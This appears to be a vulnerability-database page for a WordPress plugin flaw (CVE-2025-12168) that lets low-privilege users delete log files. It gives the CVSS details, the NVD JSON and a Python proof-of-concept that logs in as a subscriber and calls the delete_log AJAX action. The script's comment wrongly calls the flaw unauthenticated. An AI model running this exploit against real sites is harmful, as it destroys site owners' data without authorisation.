Security Vulnerability Report
中文
CVE-2025-12168 CVSS 4.3 MEDIUM

CVE-2025-12168

Published: 2026-01-17 05:16:09
Last Modified: 2026-04-15 00:35:42

Description

The Phrase TMS Integration for WordPress plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_delete_log' AJAX endpoint in all versions up to, and including, 4.7.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete log files.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Phrase TMS Integration for WordPress <= 4.7.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12168 PoC - WordPress Phrase TMS Integration Unauthenticated Log Deletion # Description: Missing authorization check on wp_ajax_delete_log AJAX endpoint target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = 'subscriber_user' # Low-privilege user account password = 'user_password' session = requests.Session() # Step 1: Authenticate with WordPress login_url = f'{target_url}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Exploit the vulnerability - Delete log files via AJAX endpoint ajax_url = f'{target_url}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'delete_log', 'log_id': '1' # Target log file ID } response = session.post(ajax_url, data=exploit_data) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') if response.status_code == 200: print('[+] Exploit sent successfully - Log file may be deleted') else: print('[-] Exploit failed - Check credentials and target')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12168", "sourceIdentifier": "[email protected]", "published": "2026-01-17T05:16:08.763", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Phrase TMS Integration for WordPress plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_delete_log' AJAX endpoint in all versions up to, and including, 4.7.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete log files."}, {"lang": "es", "value": "El plugin Phrase TMS Integration para WordPress para WordPress es vulnerable a la modificación no autorizada de datos debido a una falta de verificación de capacidad en el endpoint AJAX 'wp_ajax_delete_log' en todas las versiones hasta la 4.7.5, inclusive. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, eliminen archivos de registro."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3426034%40memsource-connector&new=3426034%40memsource-connector&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/396f2426-7bc4-4221-bc48-920bec5af6e5?source=cve", "source": "[email protected]"}]}}